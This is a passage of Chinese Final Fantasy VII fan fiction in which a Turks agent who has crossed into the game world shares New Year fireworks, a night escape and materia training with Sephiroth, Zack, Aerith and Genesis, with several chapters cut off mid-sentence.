“是我的问题,不好意思打扰了。”希森礼貌地、诚恳地、若无其事地打破了沉默,“没什么事我就先走了,你们继续忙。” 说完她没等任何一个人回答就飞快地转身离开实验室并且关上了门,一连串动作宛如行云流水一气呵成。现在她终于明白了为什么宝条的助理急着逃跑,她只恨自己当时没有及时察觉到事情的不对劲然后跟着逃走。 萨菲罗斯今天的心情显然不太好,希森不知道自己明天会不会被正宗劈成两半,她只能祈祷银发的特种兵先对宝条动手,毕竟是他才是把自己喊过去的罪魁祸首。然而不管她前面表现的多么平静,当时看到的景象可不是想忘就能忘的,或者说她这辈子可能都忘不掉了,回到家掀开被子全是银发的身影,整个晚上都没睡着。 更糟糕的是第二天醒来后希森发现自己得了一种看见萨菲罗斯就会在大脑里自动去除对方衣服的病,因此每当路过神罗英雄的海报和宣传片时都不得不绕道走。当她顶着憔悴的黑眼圈出现在总部时,西斯内抽出了手里剑,语气危险地问是不是宝条昨天对她做了什么。 “不是宝条。”希森赶紧拉住她,“是我看到不该看的东西了,有没有什么办法可以消除记忆?” 西斯内的表情从大为震撼到意味深长再到恨铁不成钢,希森第一次发现人类的表情能够如此丰富。她沉默了一会儿:“没有这种方法,我觉得你还是留着自己享受吧。” “这是什么意思?”希森不太理解,但西斯内只是留给她一个神秘莫测的笑容。 好在能见到萨菲罗斯本人的机会本来就很少,而且塔克斯的任务正好和对方的行程错开,所以她有足够的时间调理好自己的脑子。希森再次回到米德加时已经是年底,这段时间高强度的任务让她几乎已经忘记了实验室里发生的事情。 之所以用几乎来形容,是因为电梯门在即将关上的那一刻被戴着黑色皮革手套的手轻轻挡了一下。希森愣了愣,连忙按住开门键。 金属门重新滑开,许久未见的银发的特种兵非常礼貌地朝她颔首:“谢谢。” 电梯的空间很宽敞,但是萨菲罗斯给人的压迫感太强,以至于会产生一种拥挤的错觉。他向来不穿内搭,胸前只有两根交叉的皮带,完美的肌肉曲线一览无遗。希森忍住想要逃跑的冲动,假装自己突然对玻璃外的风景产生了兴趣。 两个人一时间陷入沉默当中。萨菲罗斯并不是会主动找话题的人,眼见气氛逐渐往尴尬的方向下滑,她决定主动开口:“早上好,好久不——” “——上次的事情,我很抱歉。”银发的特种兵和她同时开口,“让你感到困扰了。” 他不说还好,一提到这件事,那天晚上的记忆就不受控制地涌进大脑。希森感觉自己的脸开始发烫,“啊——那不是你的问题,我没有放在心上,你也不需要为此道歉……我本来就不应该贸然进去。” 萨菲罗斯低下头,猫科动物般的碧绿竖瞳一眨不眨地看着她,似乎在分辨她有没有说谎,“但是在那之后都没有再见到你,我以为……” 他没有把话说完,但希森已经明白了他的意思。那天晚上之后她就被总部派去外出执行任务,很长一段时间都没有回米德加,也和特种兵的行程错开了,导致萨菲罗斯误以为她是在刻意避开自己。 “我被派去北大陆执行任务了,回来的路上遇到了暴风雪,所以耽误了很多时间,并不是在躲着你。”她看着对方的眼睛,认真地解释,“抱歉,我应该提前和你说一声的。” “这不是你的问题,你也不需要对我道歉。”萨菲罗斯把这句话还给了她,语气温和,“宝条有没有为难你?” “没有,他并没有权力干涉塔克斯。”希森摇了摇头,突然想到了什么,“那天你听到了多少?” “没有多少,”萨菲罗斯平静地说,“大概从光滑的大脑开始吧。” 希森:“……”其实你不用说出来也可以,这下全世界都知道她的大脑很光滑了,谢谢。 为了守护自己大脑的尊严,她不动声色地转移了话题:“特种兵年末也有任务吗?” “嗯,大部分特种兵都休假回家乡了,任务就落到剩下的人身上。”萨菲罗斯侧过头,“你呢,不打算回去吗?” “我是在孤儿院里长大的,没有故乡。” 准确来说,其实她有故乡,只是再也回不去了。而萨菲罗斯是在实验室长大的,因此也没有故乡,某种程度上这也算是他们的共同点。不过她的回答好像太直接了,触及了萨菲罗斯的人际交往知识盲区。他看起来好像觉得自己问了什么不该问的问题,又不知道怎么弥补。 在他道歉之前,希森开口:“米德加在跨年夜会举行烟火大会,你看过吗?” 萨菲罗斯摇了摇头。 神罗的大英雄无法出现在公众场所,以他的性格也不会参加这种活动。 “神罗大厦的顶楼很适合看烟火表演,那里是米德加最高的地方,而且不会有其他人。”她也不知道自己当时是怎么想的,总之在反应过来之前已经把邀请说出口,“如果你那天晚上 8. 第 8 章 《[FF7]死去的前男友突然开始攻击我》全本免费阅读 希森特意提早了半个小时,但没想到萨菲罗斯比她到得更早。银发的特种兵悄无声息地隐藏在围墙下的阴影当中,如果不是对方主动走上前,她根本察觉不到自己身边还有一个活人。 碧绿的竖瞳在她身上停顿了片刻。 希森今天没有再穿塔克斯的黑色西装,而是选择了便于行动的衬衫搭配高腰短裤,还顺手把及腰的长发扎了起来。而萨菲罗斯依然是熟悉的特种兵装扮,只是没有带上两米的太刀。 “那么,”萨菲罗斯移开目光,“我们现在要怎么上去?” “神罗后门有一架可以直达顶楼的电梯,本来是社长专用的,不过我破解了它的密码。”希森眨了眨眼,“只需要三分钟就能到顶楼。” 萨菲罗斯抬头看了一眼高耸的大厦,似乎想到了什么。她突然回想之前看过的1st作战记录,神罗最强的特种兵无论在什么地形中都能来去自如,百米高楼对他们来说宛如平地。 “萨菲罗斯,”她很好奇,“你能从这里直接上到顶楼吗?” “可以。” “大概要多长时间?比电梯还快吗?” “你想知道?”萨菲罗斯侧过头,猫一样的竖瞳微微眯起。 “我想知道。”希森突然有一个大胆的想法,“现在时间还早,我们要不要打个赌,看看谁先到达顶楼?” “哦?”碧绿的竖瞳微微眯起,萨菲罗斯似乎觉得很有趣,“你想赌什么?” 希森想了想:“比如……输的人要答应对方一个要求?” 萨菲罗斯似乎笑了一下,只是眨眼间便如同鬼魅一般消失不见。希森足足花了三秒才反应过来1st特种兵已经出发了,只是对方的速度太快,以至于她肉眼根本看不见。 他居然偷跑! 希森后知后觉地以最快速度冲进电梯,目不转睛地盯着不断闪烁的楼层数字。虽然是萨菲罗斯,但三分钟爬上一座几百米的高楼已经完全超出了人类的范畴,她还是有不少希望的—— ——吧? 电梯门无声地滑开,银发的特种兵安静地沐浴在月色之下,正好整以暇地看着她。萨菲罗斯看起来完全不像是一个刚刚徒手爬上百层高楼的人,他的气息柔和平缓,甚至连一根头发丝也没有乱。如果不是亲眼所见,希森绝对会以为他一直都在楼顶。 她一言不发地绕着萨菲罗斯转了一圈,后者低下头:“怎么了?” 希森很认真地看着他:“我在找你的翅膀。”他绝对是飞上来的吧? 她就不应该乱说话的,本来就已经欠了萨菲罗斯不少人情,现在又多一个。什么叫搬起石头砸自己的脚,这就叫搬起石头砸自己的脚。 “啊,”萨菲罗斯很轻地笑了一声,“我没有那种东西。” “好吧,愿赌服输。”希森说,“只要不是毁灭世界或者铲平神罗之类的要求就行。” “为什么我要提这种要求?” 距离零点还有十几分钟,两个人靠在围栏边缘俯瞰着米德加圆盘。狂风扬起特种兵银白的长发,如同一抹皎洁的月光。 “一直当神罗的大英雄不会很累吗?就算是萨菲罗斯,偶尔也会产生‘毁灭吧,我累了’的想法吧。”她转过头,半开玩笑地说,“我可不会相信神罗那些浮夸的宣传,要是真像它说的那么美好,每年叛逃的特种兵也不会这么多了。” 萨菲罗斯对此不置可否:“或许。” “那就是会了。”她笑了起来,“快看,烟火晚会开始了!” 伴随着火药爆裂的声响,漆黑的夜幕中展开一朵朵绮丽而绚烂的烟花。耀眼夺目的点点星火犹如一场五彩斑斓的雨,流入下方的万千灯海当中。神罗大厦是整个米德加最高的地方,也是离烟花的地方,仿佛伸出手就能摘下这些炽热的星辰。 大厦顶层只有冰冷的钢筋水泥,平日里就连鸟类也不愿停留。但在烟火绽开的那一瞬间,这里就会变成整个米德加最浪漫的地方,一个短暂的、由光和色彩打造的花园。 “萨菲罗斯。” 银发的特种兵转过头,看向呼唤自己的人。猫一般的竖瞳中倒影出绚烂的火光,仿佛璀璨的星河在眼底缓缓流淌,带着某种摄人心魄的诱惑。 她说:“新年快乐。我没来得及准备新年礼物,那就祝你每天开心吧。” “新年快乐。”萨菲罗斯唇角浮现出极浅的笑意,“烟火很漂亮。” 层叠的烟花在夜幕中绽放,表演还在继续,但银发的特种兵只是安静而专注地看着她,似乎想要说些什么。 他的眼睛带有一种非人的美,犹如实质的目光能让人失去思考和行动能力,心甘情愿落入捕食者的陷阱。率先开口的人需要极大的勇气,但希森知道自己必须说点什么,让事情不会往失控的方向发展。 “那个,不好意思。”她停顿了一下,“我刚刚看到路法斯社长的车开了进来,我们再不走的话可能会被发现。” 空气中似乎有什么无形的东西被打破了。萨菲罗斯缓慢地眨了眨眼,碧绿的竖瞳移开目光。 “我带你下去。”银发的特种兵朝她伸出手。 因为对方是萨菲罗斯,所以她的身体比大脑抢先一步行动。当她回过神来时,已经把手搭载了对方的手心里。 “我们要去哪?” 萨菲罗斯没有正面回答。特种兵的手臂强壮且沉稳,稍微发力便把她带到身旁,随后单手一捞将她整个人稳稳地抱了起来。 “等等,”希森终于意识到了什么,“你该不会——” 现在反应过来已经太晚了,银发特种兵单手抱着她从几百米的高楼矫捷而又轻盈地一跃而下,仿佛某种拥有非人力量的优雅猎手。米德加的灯海和夜幕中的建筑飞快贴近,凌晨的狂风吹散了她的长发,高速坠落带来的失重感几乎让她的心脏停止跳动。 “萨菲罗斯!!!” 希森条件反射地紧紧抱住对方的脖子, 9. 第 9 章 《[FF7]死去的前男友突然开始攻击我》全本免费阅读 本着带猫出来玩就要好好送回家的理念,希森一直把萨菲罗斯送到特种兵公寓的楼下才道别。 “……真的不需要我送你回去吗?”银发的1st并没有进去,而是抬头看了一眼漆黑的街道。 “放心吧,还没有人敢找塔克斯的麻烦。”想到萨菲罗斯平时很忙,下次再见面不知道要到什么时候,她又转过身,“过完年之后萨菲罗斯有新的任务吗?” “嗯。”他简短地应了一声,停顿了片刻之后又补充,“后天出发,去朱农港的前线。” “是不是要去很久?” 萨菲罗斯回答得很谨慎,“看情况。” “那么祝你任务顺利,不要受伤,回来的时候请提前告诉我一下。”希森向他挥手告别,“晚安。” 碧绿的竖瞳平静地注视着她,“晚安。” 凌晨的街道寂静无声,走出一段距离后,希森回过头。 远处的黑暗里静静地矗立着一道高大的身影,银白的发丝泛起皎洁的光。1st特种兵仿佛一座完美的雕塑,站在原地目送她的离去。 好像一只很有礼貌的大猫,蹲在地上还会拿尾巴盖住爪子的那种。希森想,好想摸。 对了。她后知后觉,她好像还欠萨菲罗斯一个要求,看来要以后才能兑现了。 …… 年假的最后两天,希森定制的魔晶石终于到了。 她不确定自己是只能和治疗系的魔晶石共鸣,还是所有种类都有效,所以用钞能力集齐了市面上流通的所有属性。看着眼前这堆五颜六色的水晶球体,她第一次体会到了氪金玩家的乐趣。 现在是难得的休假时间,神罗的监控相对平时来说会宽松不少,是她研究这件事的最好时机。 希森来到米德加外围一片无人看管的废墟。这个地方曾是武器研发部的测试场所,因为一场意外被遭到废弃。远离了工业的污染和城市的钢筋水泥,不知名的野草和野花在这片荒地上肆意生长,很快便爬满了四周的断壁残恒,把人类遗留下来的疤痕装点成一道特别的风景。 普通人根本不敢踏足这种地方,而神罗也不会浪费人力物力进行监测。不管她在这里做什么都不用担心被发现,久而久之便被她当成了自己的秘密基地。 魔晶石中封印着古代种赛特拉的知识,能够掌控来自星球的力量,人们普遍认为是这种知识连结了人类与星球,让他们能够唤出魔法。 希森握住一颗雷电属性的魔晶石,召唤出耀眼的闪电。那种奇异的感觉又出现了,魔晶石搭建了人类和星球之间的桥梁,而她和桥梁另一端的力量产生了某种共鸣。即将干涸的湖泊找到了奔腾的河流,一同回到海洋的怀抱。 魔法的力量并非是无限的,根据每个人的身体素质和能力水平的不同,所拥有的力量也有不同上限。但是她却感觉不到任何限制,丰盈的魔力源源不断,释放魔法就像控制自己的身体一样简单。 再试一次,一次又一次,巨大的落雷劈碎了建筑的残骸,蓬勃生长的植物化为一层焦炭。她似乎可以无节制地使用魔法,魔力仿佛一条源源不断的河流,河流在呼唤她,于是她回应了河流的呼唤。 如果不是四周焦黑的痕迹证明刚才发生的一切都是真实的,希森会以为自己在做梦。她又换了火焰属性的魔晶石进行测试,再次得到了相同的结果——她确实能够和魔晶石产生共鸣,可以无节制地使用魔力。 所以……她这是解锁了什么新技能? 她不可能是赛特拉,也不是什么改造计划的实验品。塔克斯一直对所有成员进行严格的定期检查和监控,她的身世简单透明,体检结果也和正常人无异,如果她的身上有什么异常之处的话,早就已经被处理掉了。况且以前她也不是完全没有接触过魔晶石,但是并没有产生过这种共鸣。 那么唯一的答案就是这种能力和她穿越者的身份有关,而且是后来才觉醒的。现在追溯起来,那就是从遇见萨菲罗斯的那天开始的,她在使用对方的治疗系魔晶石时第一次产生了共鸣。 穿越者的金手指虽迟但到。 所以这五年来她其实一直处于新手开荒期,爆肝到现在才集齐道具解锁了技能树。 希森看着手里的魔晶石,一时陷入到迷茫当中。那么她现在到底算是什么,异世界的穿越者终于觉醒了超能力?她会不会其实是是来错星球了,所以没收到猫头鹰的录取通知书,第二天会有一个混血巨人开着摩托车过来告诉她:“希森,你是个巫师!” 她没有头绪,她只有头猪。 思考了一整个晚上后,希森来到了神罗的武器研发部。直接带着一大堆魔晶石到处跑不太现实,她需要一件新装备来配合她的共鸣能力。她手上正好有不少史卡蕾特想要的情报和把柄,因此对方很乐意帮这个忙。 “我想要一件能够储魔晶石的装备,可以随身携带的那种。”希森想了想,“最好设计成一只手套,上面镶嵌六种不同颜色的魔石,能通过打响指的方式使用魔力。” 装备的名字她都想好了,就叫无限,和萨菲罗斯的正宗很配。 “亲爱的,你的想法真是别具一格,很可惜我们没有这种东西。”史卡蕾特脸上的笑容凝固了。她取出一颗绿色的治疗系魔晶石,推到希森面前,“我觉得你比较需要这个。” 希森:“……” 她再也不搞抽象了,第一没有人能懂她的幽默,第二真的有人把她当傻X。 成为某位紫色泰坦星人的梦被扼杀在摇篮里。虽然没有手套,但史卡蕾特用储物魔石制作了一只轻巧的银色的手环,外表看上去有些类似特种兵常用的护腕,就算随身携带也不会引起别人的注意。手环内可以储存大量的魔石,但在设计上更接近附加了魔石的武器,因此能够直接唤出魔力。 她有护腕,萨菲罗斯也有护腕,这怎么不算是一种同款。 “史卡蕾特姐姐你是我永远的姐,我可不可以再要一个能用雷电属性魔石的锤子?” 她被对方毫不留情地赶出了武器研发部。 获得新装备的第一天,希森-3500Gil,+120%法术攻击,+5%冷却缩减。她制造了一大堆冰块让整个办公室都喝上了冰奶茶,雷诺问她为什么大冬天还要往他们的热奶茶里加冰,于是她又用火属性魔法给大家重新加热回去了。 有无限蓝条BUFF就是这么任性。 曾看着手里的冰 10. 第 10 章 《[FF7]死去的前男友突然开始攻击我》全本免费阅读 “希森,等等我!” 离开休息室的时候,扎克斯追了出来,热情地推销自己。 “我帮你把东西拿回去——水果很重,就算是开车回去你一个人也不方便。” “你是想借我的车去兜风吧?”他的心思实在是太好猜了,简直是明明白白地写在脸上。 扎克斯不好意思地挠了挠头,“哎呀,主要还是想帮忙,如果可以一起去玩的话就更好了。” “我也想和你一起出去,可惜我今天下午已经有约了。”她说的是实话,爱丽丝已经和她约好了今天下午在贫民窟的旧教堂见面,她们准备一起建一个新的花坛。 “啊,这样吗,那好吧。”扎克斯的蓝眼睛飞快地黯淡下来,“是和朋友一起吗?” 希森本来想婉拒扎克斯,但她想起爱丽丝之前提到过一直找不到能帮忙搬运木材和修建花坛的人,而眼前正好有一位完美的壮丁。于是她拿出手机,给古代种少女发了一条信息,对方几乎是马上回复了。 “嗯,是世界上最可爱的女孩子。”征得对方的同意后,她看向黑发的特种兵,“她也想认识我的好朋友,你要一起来吗?” 扎克斯那双湛蓝的眼睛一下子亮了起来。 有了特种兵的帮助,希森提前把爱丽丝需要的材料全部买齐,两个人一起开车送到旧礼堂的门口。褐发绿眸的少女早早便在教堂中等待,一听到声音就高兴地朝他们跑来。 “希森最好了——谢谢你!”爱丽丝抱住她,像撒娇一样亲昵地蹭了蹭,之后又带着能够融化一切的灿烂笑容转向扎克斯。 “你一定就是扎克斯·菲尔先生吧,我听希森提起过你,是很厉害的特种兵呢。初次见面,我是爱丽丝,请多指教!” 希森只看了一眼,就知道扎克斯彻底沦陷了。无论什么时候都热情满满的小狗这一刻好像突然丧失了语言能力,只知道呆呆地看着眼前的少女。 “你好,爱、爱丽丝。”黑发少年的耳根通红,有些不知所措,“喊我扎克斯就好,我听说你需要帮忙——” “嗯,我想建一个新的花坛,就在教堂中央。”爱丽丝拉着他们两个来到木地板中间的一个大圈里,开心地讲解,“我们之前已经做好了设计图,先把这里围起来,然后拆掉多余的地板,再填上花泥。” “交给我吧,我最擅长这种事情了!” 扎克斯迫不及待地拿起工具,无论爱丽丝说什么都一字一句地照做,认真得就像是在执行任务。希森在一旁帮爱丽丝把百合花移植到已经整理好的区域,觉得把扎克斯喊来是自己做过最正确的选择。 爱丽丝对塔克斯和特种兵的日常生活非常好奇,但希森的任务绝大多数都是机密,剩下的乏善可陈。因此这个话题就交给了扎克斯尽情发挥,他一开口就停不下来了,目光完全没办法从爱丽丝身上挪开,连希森悄悄绕到身后把一朵花粘到他头上都没发现。 扎克斯不知道两个女孩在笑什么,顶着满头的金色百合花非常困惑地瞪大眼睛:“怎么了?” 但这个动作反而让她们笑得更开心了,几乎倒在了刚铺好的花坛里。爱丽丝踮起脚尖,俏皮地点了一下扎克斯的头:“好啦,花坛已经布置的差不多了,你也赶紧休息一下吧。” 希森拿出特种兵送的白苹果和苹果汁分给大家,三个人靠在墙边,一边闲聊一边欣赏这个下午的劳动成果。造型简洁却做工精致的圆形花坛中盛开着锦簇的金色花朵,宛如一片芬芳馥郁的柔软海洋,在落日的余晖中熠熠生辉。 金色的百合,重逢的花。 “那个,”扎克斯转过头,“爱丽丝,你有想过把这些花卖出去吗?” “欸?”爱丽丝歪了歪头,“卖花?” “是啊,这么漂亮的花如果不能让更多人看到的话多可惜啊。”扎克斯兴致勃勃地说,“而且鲜花在米德加是很珍贵的,一定有很多人需要——对吧,希森?” 希森非常配合地开始助攻:“嗯。如果你想要尝试的话,可以让扎克斯帮你做个小篮子或者小推车,这样就会轻松很多。” “啊,确实是一个好办法呢!”爱丽丝认真地想了想,“如果成功赚到了第一笔钱,我就请你们去上层区玩!” “然后我们负责买东西,扎克斯负责拿。” “没错!” “啊——啊?没问题!包在我身上!” 天色渐暗,爱丽丝在告别之前塞给他们一人一束金色的百合花:“黄花的花语是重逢,不管发生什么,我们都一定要在一起哦!” 少女脸上带着明媚的笑容,但希森总觉得她眼底似乎还有一些别的情绪,复杂得让她无法分辨。爱丽丝看向她的眼神好像已经认识了她很久,但是当她想要仔细观察时,又只能看见那双宝石般的眼眸里一片澄澈。 “约好了哦?” “嗯,约好了。”她和扎克斯不约而同地回答。 …… “我真的很想吃那个小蛋糕。” 这句话希森已经说了第三次了。 朱农港的战役大获全胜,为了宣扬自身的军事实力和进一步振奋民心,神罗在米德加举办了盛大的庆功宴。这场宴会将在全国范围内直播,不仅所有名流高层会出席,英雄萨菲罗斯本人也会在亲自参加颁奖仪式。 如此重要的活动当然容不下任何差错,于是神罗调动了一大半的塔克斯进行现场的安保和监察工作,就连特种兵的接送工作也交由塔克斯成员亲自完成。 萨菲罗斯是个信守诺言的人。如果不是他提前发信息告诉她回来的时间,希森都不知道神罗对英雄的压榨已经到了如此丧心病狂的地步。 作为这场战役的功臣,萨菲罗斯却连一天的休息时间都没有。从朱农的战场无缝衔接到米德加的庆功晚宴,完成颁奖仪式之后还要马上回到总部进行宣传拍摄。 萨菲罗斯是块砖,哪里需要搬哪里。从战争工具到宣传工具,万众瞩目的只不过是一件商品,他的一切都会被拆分利用,直到耗尽他的最后一丝价值。 希森的任务是维持现场秩序和护送萨菲罗斯,四舍 11. 第 11 章 《[FF7]死去的前男友突然开始攻击我》全本免费阅读 “萨菲罗斯,这边!” 希森径直穿过簇拥在萨菲罗斯身边的人群,毫不客气地挡住不断闪烁的摄像头。被强行推开的人们向她投来不满的眼神,却在看清楚她的制服和证件的下一秒又飞快地收回目光,把没说出口的抱怨咽回肚子里。 名为“英雄”的雕塑忽然活了过来。银发的特种兵侧过头,碧绿的竖瞳望向她,原本冰冷的神色似乎有一丝松动。 希森本来想走到他身边,但是依旧有些媒体不死心地冒着被塔克斯盯上的风险往前涌来。然而高大的1st这次没有再选择忍耐无休止的拍摄,转身迈开步伐朝她的方向走来。 温柔的神罗英雄不会伤害任何人,但在绝对的力量差距前没有人敢挡他的道。萨菲罗斯本身就带有不易接近的强大气场和压迫感,当他面无表情的时候这种气质会上升到令人畏惧的程度,人群自发地朝两侧分开一条通道,安静地目送他们创造出来的神明。 “我们快跑,等他们反应过来就晚了。” 一离开众人的视线,希森就迫不及待地把高大的特种兵塞进了专为接送神罗英雄准备的军用车里。 萨菲罗斯神色平静,非常配合地坐在副驾驶的座位上,“那么,我们接下来要去哪里?” 车子飞快地没入夜幕当中,希森朝身旁的特种兵狡黠地眨了眨眼:“这取决于萨菲罗斯想去哪里,今晚你不需要做英雄,可以做你真正想做的事。” 这个提议对萨菲罗斯来说好像非常陌生,他似乎没有“自己选择”的概念,也没人给过他这个机会。 “你的任务不是要送我回总部吗?” “我猜你不想去拍宣传片。” 不然神罗的宣传照和宣传片也不用大部分都靠后期合成了,为数不多的真实照片里萨菲罗斯都面无表情,姿势僵硬,像被人胁迫一样——事实上也差不多。整个塔克斯都知道神罗英雄不喜欢拍照。 萨菲罗斯略显困惑地眨了眨眼:“……所以?” “你不想去,所以我们就不去了,因为你的感受和想法才是最重要的。” 因为你不是神罗的工具,你是萨菲罗斯,一个鲜活的人,你有七情六欲喜怒哀乐。我只是想告诉你这一点,哪怕所有人都将你看作英雄,还有一个人会记得你是萨菲罗斯。 “其他事情我做不到,”希森认真地说,“只能帮你逃一次班了。” 萨菲罗斯没有说话。 希森以为他不愿意,转过头正想要道歉,却正好对上黑暗中一双如磷火般的碧绿竖瞳。萨菲罗斯专注地看着她,如此近的距离,她甚至能够清晰地感受到对方的呼吸。 银发特种兵的神情非常柔和,如同逐渐融化的坚冰,眉梢眼角都带着暖意。 “带我逃出来,你自己怎么办?” “如果我跑的比曾快,那就没事。如果不是的话,那就要靠你了。” “啊。”萨菲罗斯应了一声,眼底闪过一丝笑意。 “那么萨菲罗斯想好要去哪里了吗?” “……去哪里都可以?” “嗯。”希森看着前方空旷的道路,“就算你现在想逃离神罗,我也会立刻带你走。” 萨菲罗斯轻轻地笑了起来,笑声低沉而又短暂,宛如夜色中一现的昙花。银发的1st平日里很少露出笑容,但他一旦笑起来便会成为魅惑人心的塞壬海妖,令人只看一眼就深陷其中。 可能是因为笑起来太好看,他才不爱笑的。不然士兵的注意力都只会放在他脸上,就没心思战斗了。 “我会考虑的。”他停顿了一下,“但是——抱歉,我的生活其实很无趣,我没有什么想法。” 萨菲罗斯无法出现在公众场合,而且无论去到哪里都会受到神罗监视。再加上他长期在外执行任务,也没有多少属于自己的时间,光鲜外表下的生活其实非常单调。 “不无趣,只是安静而已。”生活作息规律,没有任何不良嗜好,已经打败了百分之九十的人。 “你平时会去哪些地方?”他把问题还了回来。 “我一个人的时候……就只是到处走走。”希森愣了一下,这个问题不太好回答,“去米德加边缘看风景,那里污染比较少,能看到很多星星。” 因为她的这个爱好,刚加入塔克斯的那段时间里西斯内经常担心她会走丢。 “那就带我去那里吧。” 希森以为自己听错了,有些惊讶地看着他:“你确定吗?那里什么都没有,会很无聊。” “不会。”萨菲罗斯说,“只要是你在的地方就不会无聊。” 上次练习使用魔晶石的时候毁掉了不少植物,但这些野生花草的生命力极为顽强,不到三个月就已经重新爬满了废墟,甚至比原来更加茂盛。翠绿的花蔓顺着不规则的建筑残骸蜿蜒而上,偶尔有几簇不知名的野花点缀其中。这里生机勃勃,唯独没有人类的痕迹,就像是人类消亡以后的世界。 银发的特种兵走过断壁残恒,有一瞬间如同行走在末日当中。 萨菲罗斯抬起头。这里离米德加很近,还没有完全摆脱魔晄炉的污染,所以天空中其实看不到多少星星,只有零散稀落的几颗光点。 “星星不在上面,在这里。” 希森坐在一小截断裂的墙壁上,笑着张开双手。无数微小的、闪烁的光点在她四周缓缓升起,如同镶嵌于夜色帷幕上的万千星辰,汇聚成一片荡漾着微光的海洋。天空和大地在这一瞬间逆转过来,他们置身于温柔的星河当中。 那是活着的星星,废墟中被惊扰的萤火虫。 萨菲罗斯碧绿的竖瞳微微放大,仿佛璀璨的宝石裂开一道深渊。特种兵拥有极强的自制力,即便是表达惊讶也不甚明显,如果不是距离足够近根本就无法察觉。 他伸出手,似乎想要触碰那些淡金色的光点,萤火虫掠过被黑色皮革包裹着的指尖。 能让银发1st感到惊讶的事情很少,希森非常有成就感,甚至还产生了一种恶作剧成功的愉悦,她一时间忍不住笑了起来。 12. 第 12 章 《[FF7]死去的前男友突然开始攻击我》全本免费阅读 神罗的英雄最终也没有回去拍摄。 第二天回去上班的时候,整个办公室的人都用一种看壮士的表情目送希森。她眼皮一跳,果然下一秒就看到曾微笑着请她去喝茶。 “西斯内妈咪,我这几个月的假期都没了。”希森倒在红色卷发的塔克斯怀里,“曾好狠心,给我排满了任务。” 西斯内温柔地摸了摸她的脑袋:“这都是你应得的。” “……好冰冷的话语。” 和神罗抢人的后果就是被发配去边境执行任务。好消息是队友是杰内西斯,坏消息也是队友是杰内西斯。 执行任务的途中没有太多休息时间,因此配备的食物大多是军用干粮。杰内西斯向来看不上这种堪比砖头的压缩食品,而希森在塔克斯里是公认的挑食。于是两个娇生惯养的人首次在同一件事上达成了共识,他们在储物魔石里翻了半天,终于找出两个看起来能给活人吃的罐头。 希森看着杰内西斯手里的鸡肉罐头,“我不吃鱼,可以跟你换吗?” 杰内西斯看了她一眼,没说话。 “1st该不会也挑食吧?” 红发的特种兵闻言冷笑一声,把手里的罐头扔了过去。 这个品牌的罐头是神罗近期的主打产品,宣传部下了血本投放广告,甚至用萨菲罗斯的形象作为代言。官方的宣传语是”英雄最喜欢的食物”,包装上的银发1st手持不同口味的罐头,那令人一言难尽的神情和动作一看就不是本人,而是后期合成的——一定要说的话,就是萨菲罗斯和苏菲老师的区别。 然而即便是萨菲罗斯的脸也拯救不了它的味道,神罗的人造肉介于好吃和难吃之间——那就是好难吃。希森吃了两口就放弃了,而杰内西斯压根就没打开罐头。 算了,她还是用魔晶石吧。 “......回复魔石不是这么用的。”慵懒的声音打断了她的动作,红发的1st终于开口说了第一句话,“它只能恢复身体状态,不能替代食物,塔克斯没教过这些吗?” “没有。”希森非常诚实,“我们平时没什么机会用魔晶石,所以塔克斯的培训不会很详细。” 星球给了她金手指,但是没给她说明书。从来没接受过正式训练的希森现在还无法完全掌握自己的共鸣能力,而整个神罗最擅长使用魔晶石的人恰巧就在她旁边。 “杰内西斯,”希森说,“可以拜托你教我用魔晶石战斗吗?” “呵,”杰内西斯似乎听到了什么好笑的事情,“教你?你以为我是谁?” “你是整个神罗最擅长使用魔晶石的人,”她带上了恳求的目光,“还是我的朋友。” 一句话硬控1st三秒钟。 真诚是永远的必杀技。 “......没兴趣。”杰内西斯神色僵硬,起身便准备离开。 “巴诺拉村的白苹果汁享誉全国,想出这种方法的是一位名叫杰内西斯的少年。”塔克斯知道所有的秘密,更何况是这种公开的新闻报道,“和父母一起请英雄萨菲罗斯吃苹果是他的梦想。” 红发1st的身影顿了顿。 希森笑吟吟地看着他:“萨菲罗斯知道这件事吗?” “你现在还活着完全是看在萨菲罗斯的份上。”杰内西斯回过头,居高临下地看着她,“管好你的嘴。” 这都不忘记提到萨菲罗斯,他超爱。 平心而论,杰内西斯是一位很好的老师,言传身教,一针见血。最大的缺点就是长了一张嘴,和他相处久了希森感觉自己的素质正在大幅度下降。而他的教学方式也相当简单粗暴,先把高阶魔兽打个半死,再扔到她面前进行实战。 这次的调查任务并不难,所以他们在回去之前还有不少时间练习。几天下来希森累的精神恍惚,但又不敢在杰内西斯面前使用共鸣能力恢复,连看罐头上印着的萨菲罗斯都觉得眉清目秀。 什么叫自讨苦吃,这就叫自讨苦吃。 “这次就先到这里吧。”红发的1st漫不经心地为她鼓掌,“很不错,照这个速度下去你很快就能刮伤魔兽了。”顿了一下,他又像是想起了什么一样极其敷衍地补充了一句,“加油。” 很难说他是在安慰自己还是在嘲讽自己,考虑到他的个人素质,希森觉得是后者。 “你的脸色看起来不太好。”曾委婉地说,“是不是在任务里遭到了不公平的待遇,需要我们提供法律援助吗?” “我的精神和心灵受到了损害,我想报销工伤。” “看起来你没有什么问题了。”曾平静地微笑,“那就赶紧准备下一个任务吧。” 希森:“曾你变了,现在的你变得很——” “和萨菲罗斯一起去调查五台的军事基地。” “——很善解人意,温柔贴心。”她马上换上灿烂的微笑,“那么我们什么时候出发呢?” ...... 希森来到特种兵楼层的时候,萨菲罗斯刚好正在开会,还有半个小时才能结束。扎克斯不知道从哪里听说了她要过来,像找到了什么宝物的小狗一样满脸神秘地把她拉到休息室里。 “你听说过银发精英俱乐部吗?” 联想到神罗有意把1st打造成明星的行为,希森沉默了片刻:“该不会是萨菲罗斯的粉丝会吧?” ”果然没有你不知道的事情!我们在讨论哪位1st人气最高,我肯定是支持安吉尔的,但是他们都说是杰内西斯和萨菲罗斯粉丝更多。”扎克斯一开口就停不下来了,“虽然我也很喜欢两位前辈但是——” “肯定是萨菲罗斯大人的人气最高。”一名3rd打断了他的话,“对吧,希森小姐?” “明明是杰内西斯大人,红发才是最完美的!” “安吉尔大人才是最棒的,另外两位1st都不穿制服,萨菲罗斯大人甚至不穿内衬!只有安吉尔大人才是真正的特种兵!” 希森:“……” 其实她也很想知道为什么萨菲罗斯不穿内衬,是因为穿不下吗?所以才要在前面绑两条皮带固定。但作为一个单推人,她不允许任何人质疑萨菲罗斯。 “如果萨菲罗斯穿了内衬,那我们看什么?” 这下轮到其他人沉默了。 